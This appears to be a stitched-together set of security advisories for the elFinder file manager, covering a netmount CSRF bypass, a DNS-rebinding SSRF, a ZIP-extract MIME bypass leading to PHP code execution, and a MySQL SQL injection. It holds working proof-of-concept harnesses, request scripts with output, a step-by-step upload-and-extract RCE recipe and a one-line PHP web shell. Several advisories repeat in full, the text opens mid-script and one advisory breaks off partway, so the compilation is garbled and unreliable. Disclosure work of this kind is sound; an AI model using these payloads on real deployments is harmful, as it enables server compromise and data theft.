print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

• elFinder 2.1.69 deployed under Apache/Nginx (PHP-FPM or mod_php)
• Connector configured with uploadDeny = ['text/x-php'] and uploadAllow including application/zip
• files/ directory served under a public web path

Step 1 — Confirm direct upload is blocked Open elFinder in a browser and click the Upload button.
Select hello.phtml (content: <?php phpinfo(); ?>).
→ Upload is rejected with: "Upload file hello.phtml: File type not allowed (text/x-php)"

Step 2 — Upload a ZIP containing the payload Create bypass.zip containing hello.phtml.
Upload bypass.zip via the Upload button.
→ ZIP is accepted (MIME: application/zip ∈ uploadAllow).

Step 3 — Extract the ZIP Right-click bypass.zip in the file list → Extract files.
→ hello.phtml appears in the file list without any error.
→ File is now present at {files_dir}/hello.phtml on the server.

Step 4 — Execute the extracted PHP file

Navigate to:

http://<target>/elFinder/files/hello.phtml

→ Apache processes the file as PHP and renders the full phpinfo() output, confirming Remote Code Execution.

Impact

Any user with ZIP upload permission can bypass the uploadDeny MIME restriction, place PHP-executable files in a web-accessible directory, and achieve Remote Code Execution on the server.

Concrete impact:

• Arbitrary PHP code execution on the web server
• Full server environment disclosure via phpinfo() (paths, PHP version, loaded modules, environment variables)
• Potential access to server filesystem, database credentials, and internal network services
• Complete compromise of the web application if an attacker substitutes phpinfo() with a web shell (e.g., <?php system($_GET['cmd']); ?>)

Extensions confirmed executable on Apache (default config): phtml, phar, php5, php3

Recommended fix:

Apply mimeTypeNormalize() inside checkExtractItems() so that the full MIME pipeline is used consistently:

// elFinderVolumeDriver.class.php, line 7110
// Before (vulnerable):
$mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name)

// After (fixed):
$mimeByName = $this->mimeTypeNormalize(
    elFinderVolumeDriver::mimetypeInternalDetect($name),
    $name,
    pathinfo($name, PATHINFO_EXTENSION)
)

Summary

The PHP connector's CSRF gate protects many mutating commands, but it does not protect the netmount connector command. In the shipped minimal connector setup, FTP network mounting is enabled by default, so a cross-site request can force an elFinder instance to mount an attacker-chosen FTP endpoint in the victim's session and cause the server to initiate an outbound FTP connection without the X-elFinder-CSRF token that other state-changing commands require.

This was confirmed locally against Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, corresponding to the repository's documented stable release 2.1.69 / API revision 2.1.69.

Details

The connector has an explicit allowlist of commands that require CSRF validation in php/elFinderConnector.class.php:79-92. That list includes state-changing commands such as mkdir, mkfile, paste, put, rename, rm, upload, archive, extract, resize, and chmod, but it omits netmount. The enforcement point in php/elFinderConnector.class.php:376-381 calls validateCsrfToken() only when the command appears in that list.

netmount is a first-class connector command declared in php/elFinder.class.php:248-278, specifically php/elFinder.class.php:263, with attacker-controlled protocol, host, path, port, user, pass, alias, and options arguments. Its implementation in php/elFinder.class.php:1560-1660 resolves the requested network driver, copies request arguments into a volume options array, calls the driver's netmountPrepare(), mounts the volume online, and persists successful network volume options in the session with saveNetVolumes() at php/elFinder.class.php:1642-1649.

The documented minimal installation path tells users to rename /php/connector.minimal.php-dist and load elFinder (README.md:105-120). That shipped minimal connector explicitly enables FTP network mounts at php/connector.minimal.php-dist:42-43:

// // Enable FTP connector netmount
elFinder::$netDrivers['ftp'] = 'FTP';

The FTP driver then uses request-controlled connection parameters. php/elFinderVolumeFTP.class.php:164-215 initializes the host, port, user, password, path, and netmount key, and php/elFinderVolumeFTP.class.php:264-327 calls ftp_connect() / ftp_ssl_connect(), ftp_login(), ftp_raw(), ftp_chdir(), ftp_pwd(), ftp_pasv(), FEAT, and MLST against the supplied endpoint. The local proof showed those FTP commands reaching a fake local FTP server.

False-positive checks performed:

• mkdir without the CSRF header was rejected with HTTP 403 and csrfReload:true, proving the harness exercised the connector's CSRF gate.
• netmount without the same CSRF header succeeded with HTTP 200 and an added network-volume response.
• The fake FTP server observed an inbound connection and FTP command sequence from the PHP process.
• No custom application authentication, external service, public infrastructure, or destructive action was used.
• Sibling netmount drivers were reviewed; FTP is the relevant default/common exposure because the minimal connector enables it, while SFTP/cloud drivers require extra configuration or credentials.

Candidate score: 16/18 under the audit rubric. Reachability 2, attacker control 2, privilege required 2, sink impact 2, mitigation weakness 2, default exposure 2, safe reproduction 2, static certainty 2, false-positive resistance 2. The exploitability gate is satisfied for this issue as a confirmed CSRF/state-change and server-side FTP connection primitive in the shipped minimal connector configuration.

PoC

The following safe local reproduction uses only a disposable connector under /tmp, the repository's PHP classes, PHP's built-in local web server, and a fake FTP listener bound to 127.0.0.1. It does not contact external systems.

1. From a clean checkout of Studio-42/elFinder at commit ec5f811dc321a053085b994966f553eaaab58721, create a disposable harness:

mkdir -p /tmp/elfinder-csrf-poc-claude/www/files/.trash/.tmb /tmp/elfinder-csrf-poc-claude/logs
cat > /tmp/elfinder-csrf-poc-claude/www/connector.php <<'PHP'
<?php
error_reporting(E_ALL);
require '/path/to/elFinder/php/autoload.php';

elFinder::$netDrivers['ftp'] = 'FTP';

function access($attr, $path, $data, $volume, $isDir, $relpath) {
    $basename = basename($path);
    return $basename[0] === '.' && strlen($relpath) !== 1
        ? !($attr == 'read' || $attr == 'write')
        : null;
}

$opts = array(
    'roots' => array(
        array(
            'driver' => 'LocalFileSystem',
            'path' => __DIR__ . '/files/',
            'URL' => '/files/',
            'trashHash' => 't1_Lw',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
        array(
            'id' => '1',
            'driver' => 'Trash',
            'path' => __DIR__ . '/files/.trash/',
            'tmbURL' => '/files/.trash/.tmb/',
            'uploadDeny' => array('all'),
            'uploadAllow' => array('text/plain'),
            'uploadOrder' => array('deny', 'allow'),
            'accessControl' => 'access'
        ),
    )
);

$connector = new elFinderConnector(new elFinder($opts));
$connector->run();
PHP

2. Start this minimal fake FTP server as /tmp/elfinder-csrf-poc-claude/fake_ftp.py:

#!/usr/bin/env python3
import socket, sys
HOST = '127.0.0.1'
PORT = int(sys.argv[1])
LOG = sys.argv[2]
def log(line):
    with open(LOG, 'a', encoding='utf-8') as f:
        f.write(line + '\n')
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(5)
    log(f'LISTEN {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        with conn:
            log(f'CONNECT {addr[0]}:{addr[1]}')
            conn.sendall(b'220 fake ftp ready\r\n')
            while True:
                data = b''
                while not data.endswith(b'\n'):
                    chunk = conn.recv(1)
                    if not chunk:
                        log('CLOSE')
                        break
                    data += chunk
                if not data:
                    break
                line = data.decode('latin-1', errors='replace').strip()
                log('CMD ' + line)
                cmd = line.split(' ', 1)[0].upper()
                if cmd == 'USER': conn.sendall(b'331 password required\r\n')
                elif cmd == 'PASS': conn.sendall(b'230 login ok\r\n')
                elif cmd.startswith('OPTS'): conn.sendall(b'200 ok\r\n')
                elif cmd == 'HELP': conn.sendall(b'214 fake help\r\n')
                elif cmd == 'CWD': conn.sendall(b'250 cwd ok\r\n')
                elif cmd == 'PWD': conn.sendall(b'257 "/"\r\n')
                elif cmd == 'FEAT': conn.sendall(b'211-Features\r\n MLST type*;size*;modify*;perm*;\r\n211 End\r\n')
                elif cmd == 'MLST': conn.sendall(b'250-Listing /\r\n type=dir;size=0;modify=20260101000000;perm=el; /\r\n250 End\r\n')
                elif cmd == 'PASV': conn.sendall(b'502 passive unavailable\r\n')
                elif cmd == 'QUIT':
                    conn.sendall(b'221 bye\r\n')
                    break
                else: conn.sendall(b'200 ok\r\n')

3. Start the local services:

php -S 127.0.0.1:8765 -t /tmp/elfinder-csrf-poc-claude/www
python3 /tmp/elfinder-csrf-poc-claude/fake_ftp.py 21210 /tmp/elfinder-csrf-poc-claude/logs/ftp.log

4. In another shell, run this control-and-positive test. It intentionally omits X-elFinder-CSRF from both the protected mkdir control request and the netmount request:

import json, urllib.parse, urllib.request, urllib.error, http.cookiejar
base = 'http://127.0.0.1:8765/connector.php'
log = '/tmp/elfinder-csrf-poc-claude/logs/ftp.log'
open(log, 'w', encoding='utf-8').close()
cj = http.cookiejar.CookieJar()
opener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))
def request(params, timeout=12):
    url = base + '?' + urllib.parse.urlencode(params)
    try:
        with opener.open(url, timeout=timeout) as resp:
            return resp.status, resp.read().decode('utf-8', errors='replace')
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode('utf-8', errors='replace')
status, body = request({'cmd':'open','init':'1','target':'l1_Lw'})
opened = json.loads(body)
target = opened.get('cwd', {}).get('hash', 'l1_Lw')
print('OPEN_STATUS=' + str(status))
print('OPEN_HAS_CSRF=' + str('"csrf"' in body))
status, body = request({'cmd':'mkdir','target':target,'name':'csrf-control-no-header'})
print('CONTROL_MKDIR_WITHOUT_CSRF_STATUS=' + str(status))
print('CONTROL_MKDIR_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:160])
status, body = request({'cmd':'netmount','protocol':'ftp','host':'127.0.0.1','port':'21210','path':'/','user':'anonymous','pass':''})
print('NETMOUNT_WITHOUT_CSRF_STATUS=' + str(status))
print('NETMOUNT_WITHOUT_CSRF_HAS_ADDED=' + str('"added"' in body))
print('NETMOUNT_WITHOUT_CSRF_BODY=' + body.replace('\n', ' ')[:260])
print('FTP_LOG=')
print(open(log, encoding='utf-8', errors='replace').read().strip())

Observed output from the final local re-run in this environment:

OPEN_STATUS=200
OPEN_HAS_CSRF=True
CONTROL_MKDIR_WITHOUT_CSRF_STATUS=403
CONTROL_MKDIR_WITHOUT_CSRF_BODY={"error":["errPerm","Invalid request. Please reload."],"csrfReload":true}
NETMOUNT_WITHOUT_CSRF_STATUS=200
NETMOUNT_WITHOUT_CSRF_HAS_ADDED=True
NETMOUNT_WITHOUT_CSRF_BODY={"added":[{"mime":"directory","size":0,"ts":1767225600,"read":1,"write":0,"locked":1,"hash":"fnm1_Lw","name":"anonymous@127.0.0.1","rootRev":"","options":{"path":"","url":"","tmbUrl":"self","disabled":[],"separator":"\/","copyOverwrite":1,"uploadOverwrite":1,
FTP_LOG=
CONNECT 127.0.0.1:37496
CMD USER anonymous
CMD PASS
CMD OPTS UTF8 ON
CMD HELP
CMD epsv4 off
CMD PASV
CMD CWD /
CMD PWD
CMD FEAT
CMD MLST /
CLOSE

The negative/control case is the mkdir request: without X-elFinder-CSRF, it returns HTTP 403 and csrfReload:true. The positive case is netmount: without X-elFinder-CSRF, it returns HTTP 200 with added and the fake FTP server logs the server-side FTP connection.

Cleanup:

# Stop the two local server processes, then remove the disposable harness.
rm -rf /tmp/elfinder-csrf-poc-claude

Impact

An attacker who can cause a victim browser to request the connector can bypass the intended CSRF protection for netmount. In the shipped minimal connector configuration, this lets the attacker:

• force the victim's elFinder session to persist an attacker-chosen FTP network volume;
• cause the PHP server to initiate an outbound FTP connection to an attacker-chosen host and port;
• send attacker-supplied FTP username/password values to that endpoint; and
• expose the victim's later file-manager UI to the mounted remote volume.

The proof demonstrates a security boundary mismatch: the same connector rejects another mutating command without the CSRF header but accepts netmount without it. The observed server-side FTP command sequence confirms that the request reaches the network sink, not just a harmless JSON code path.

The impact is bounded by deployment and browser behavior. In a deployment with no surrounding authentication, direct callers may be able to use the connector normally; in the common authenticated-file-manager deployment model, the missing netmount CSRF check lets a cross-site attacker perform this state-changing/server-side network action in the victim's authenticated session.

Suggested remediation

Require CSRF validation for netmount, including protocol=netunmount, before executing the command. The minimal fix is to add netmount to elFinderConnector::$csrfProtectedCmds in php/elFinderConnector.class.php.

Also consider adding defense-in-depth validation for network mount destinations, especially FTP/SFTP hostnames and IPs, because the current FTP netmount path accepts local/private/link-local addresses unlike URL upload validation. If local/private network mounts are intentionally supported, expose that as an explicit opt-in connector configuration rather than the default sample behavior.

Suggested regression tests:

• A request to cmd=netmount&protocol=ftp&host=127.0.0.1&port=<local-port> without X-elFinder-CSRF must return HTTP 403 and must not connect to the FTP listener.
• The same request with the valid token from cmd=open&init=1 should preserve intended behavior for authorized users.
• protocol=netunmount should also reject missing/invalid CSRF tokens.

Credits

• Thai Son Dinh from VinSOC Labs (R&D)
• Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

poc.zip

Summary

elFinder 2.1.69 is vulnerable to a Server-Side Request Forgery (SSRF) protection bypass when PHP cURL is unavailable and URL uploads use the fsock_get_contents() fallback.

An attacker who can submit a URL for server-side upload can use an attacker-controlled DNS hostname that initially resolves to an allowed public IP address and subsequently resolves to a loopback or private IP address.

The URL validation checks the first resolved IP, but fsock_get_contents() opens the actual connection using the original hostname. This causes a second DNS resolution and allows the connection to reach an address different from the one that was validated.

The response from the internal service is saved as an uploaded file and can be read through elFinder. This makes the demonstrated issue a non-blind SSRF.

The most accurate classification is:

• Vulnerability: SSRF protection bypass
• Exploitation technique: DNS rebinding
• Root cause: TOCTOU/double DNS resolution without IP pinning

Affected versions

Confirmed affected:

• elFinder 2.1.69, commit 8f2c3ffafcdd52cf4515f1eec172f4eee44552ad
• the current master branch inspected on 24 July 2026

The earliest affected version has not been determined.

Preconditions

The demonstrated readback path requires:

• PHP without the cURL extension (curl_exec() unavailable);
• access to the URL upload functionality;
• permission to upload a MIME type returned by the target service;
• network connectivity from the PHP process to the internal target;
• DNS resolution behavior compatible with low or zero TTL responses.

Authentication requirements depend on the application integrating the elFinder connector. The attached reproduction connector is intentionally minimal and unauthenticated.

Technical details

validate_address() resolves the supplied hostname with gethostbyname(), rejects loopback and private ranges, and stores the accepted address in $info['ip']:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2587-L2655

get_remote_contents() then selects cURL when available, otherwise fsock_get_contents():

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2673-L2689

The cURL implementation correctly pins the validated IP using CURLOPT_RESOLVE:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2709-L2736

However, the socket fallback ignores $info['ip'] and connects using $arr['host']:

$fp = fsockopen(
    $ssl . $arr['host'],
    $arr['port'],
    $errno,
    $errstr,
    $connect_timeout
);

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L2762-L2866

Consequently, the address checked by validate_address() is not necessarily the address used by the socket connection.

The same problem is present after redirects: the redirect URL is validated, but the recursive socket request again connects using the hostname rather than the validated IP.

Proof of concept

A Docker-based reproduction is attached as poc.zip.

The laboratory:

• downloads the official elFinder 2.1.69 release during the build;
• verifies that the package version is 2.1.69;
• verifies that curl_exec() is unavailable;
• does not modify the elFinder core;
• runs a deterministic DNS server and an HTTP service bound only to loopback.

Build and run:

docker build -t elfinder-ssrf-repro poc
docker run --rm -p 127.0.0.1:8081:8081 elfinder-ssrf-repro

Open:

http://127.0.0.1:8081/poc/index.html

In the elFinder interface:

1. Select "Upload".
2. Paste the following URL:

http://rebind.test:9001/secret.txt

3. Wait for the upload to complete.
4. Open the resulting secret.txt file.

Observed content:

INTERNAL_SECRET_MANUAL

The PoC DNS server responds as follows:

first A resolution       -> 203.0.113.10
subsequent A resolutions -> 127.0.0.1

Expected logs include:

DNS rebind.test type=1 answer=203.0.113.10 count=1
DNS rebind.test type=1 answer=127.0.0.1 count=2
GET /secret.txt

203.0.113.10 is used only as a deterministic laboratory address that passes the current private-address checks. The actual connection reaches 127.0.0.1:9001.

A redirect variant is also included:

http://rebind.test:9001/redirect-secret

It produces the same readable internal content.

Security impact

An attacker may cause the elFinder server to issue HTTP GET requests to services reachable from the PHP process, including:

• loopback services;
• private network services;
• link-local services where reachable;
• internal administrative or application endpoints.

Because the response body is saved and exposed through elFinder, sensitive internal information may be disclosed.

The demonstrated primitive is limited to HTTP GET requests and does not provide arbitrary request methods, bodies, or headers. Integrity and availability impact would depend on the behavior of reachable internal endpoints and are not claimed by this PoC.

Suggested CVSS

For an exposed connector matching the attached PoC:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

Base score: 8.6 High.

This assumes:

• no authentication is required by the connector;
• the internal service represents a separate security scope;
• disclosure may include highly sensitive internal data.

If authenticated user access is considered an inherent prerequisite, PR:L would result in a score of 7.7 High.

Suggested remediation

The socket connection should use the IP address returned by validate_address() rather than resolving the hostname again.

For HTTPS, the original hostname should still be used for:

• the HTTP Host header;
• TLS SNI;
• certificate hostname validation.

This may require replacing fsockopen() with a connection mechanism that supports connecting to the validated IP while explicitly configuring the TLS peer name.

Every redirect destination should be independently validated and its validated IP pinned to that specific connection.

Revalidating the hostname immediately before connecting is not sufficient because it would still leave a validation-to-connection DNS resolution gap.

As a temporary mitigation, URL uploads could be rejected when cURL is unavailable, or deployments could configure urlUploadFilter to reject URL uploads.

Additional observation

After a successful URL fetch, the upload path calls:

get_headers($url, true)

Relevant code:

https://github.com/Studio-42/elFinder/blob/2.1.69/php/elFinder.class.php#L3356-L3374

This performs another request using the original hostname without reusing the validated and pinned connection. It may therefore introduce an additional blind SSRF request, potentially even when the cURL download path is selected.

This additional request is not required for the attached non-blind fsock_get_contents() PoC. It should nevertheless be reviewed during remediation. Ideally, filename and response-header information should be collected from the already validated HTTP response instead of issuing a separate request.

Disclosure

Initial private report date: 24/07/2026

Reporter contact: Marco Lunardi - marcolunardi90@gmail.com

Summary

An authenticated SQL injection vulnerability in the elFinder MySQL volume driver (elFinderVolumeMySQL) allows any logged-in user, including users with read-only access to the affected volume, to inject SQL through a crafted target file hash. Successful exploitation can lead to unauthorized data disclosure and denial of service.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Description

A vulnerability in elFinder's MySQL volume driver (elFinderVolumeMySQL) allows authenticated SQL injection through a crafted file hash passed via the target parameter.

The issue is caused by two behaviors working together:

1. File hashes are decoded without validating that the decoded value is a valid MySQL object identifier.
2. The decoded value is then used in MySQL driver queries, including cacheDir(), _joinPath(), _stat(), and _fopen().

Because the MySQL storage schema uses numeric id and parent_id values, an authenticated user can supply a crafted hash that alters the intended SQL query logic. Successful exploitation can lead to unauthorized data disclosure and denial of service. The extent of impact depends on the privileges granted to the configured MySQL account.

This vulnerability only affects installations configured to use the MySQL volume driver. Installations using the default LocalFileSystem driver are not affected.

Impact

An authenticated user, including a user with read-only access to the affected volume, can exploit this issue to:

• disclose data accessible to the configured MySQL account, including file contents stored by the driver and database metadata
• trigger denial of service through expensive or unexpectedly broad query results that can lead to excessive memory consumption

The severity of data exposure depends on the privileges granted to the configured MySQL account.

Summary

elFinder provides uploadDeny and uploadAllow options in its connector configuration to restrict which MIME types may be uploaded. When uploadDeny includes text/x-php, direct upload of .php, .phtml, and .phar files is correctly blocked. However, the extract command (ZIP decompression) internally calls checkExtractItems(), which invokes mimetypeInternalDetect() directly without passing the result through mimeTypeNormalize(). Because phtml, phar, and similar PHP-executable extensions are absent from mime.types, they are not resolved to text/x-php at the detection stage, causing the MIME filter to be silently bypassed. An attacker who is permitted to upload ZIP archives can therefore extract PHP-executable files into the web-accessible files/ directory. If the server is configured to execute the affected extension (e.g., .phtml, .phar) as PHP — which is the case in common Apache and Nginx deployments — this results in Remote Code Execution.

Details

elFinder's MIME validation pipeline for direct uploads (upload command) is:

mimetype()
  └─ mimetypeInternalDetect()   // stage 1: extension → MIME via mime.types
  └─ mimeTypeNormalize()        // stage 2: apply staticMimeMap
       phtml:* → text/x-php
       phar:*  → text/x-php
       php5:*  → text/x-php
  └─ allowPutMime()             // blocked: text/x-php ∈ uploadDeny

The extract command (checkExtractItems() in elFinderVolumeDriver.class.php, line 7110) uses a shortened pipeline:

// line 7110 — stage 2 (mimeTypeNormalize) is never called
if ($chkMime
    && ($mimeByName = elFinderVolumeDriver::mimetypeInternalDetect($name))
    && !$this->allowPutMime($mimeByName)) {

Because phtml and phar are not present in mime.types, mimetypeInternalDetect() returns a generic type (e.g., application/octet-stream) for these extensions. Without mimeTypeNormalize(), the staticMimeMap entries that would map phtml:* → text/x-php are never applied, so allowPutMime() sees a non-blocked MIME and permits extraction.

Affected extensions confirmed: .phtml, .phar, .php5, .php3
Not bypassed: .php (present in mime.types, detected as text/x-php in stage 1)

PoC

Requirements:

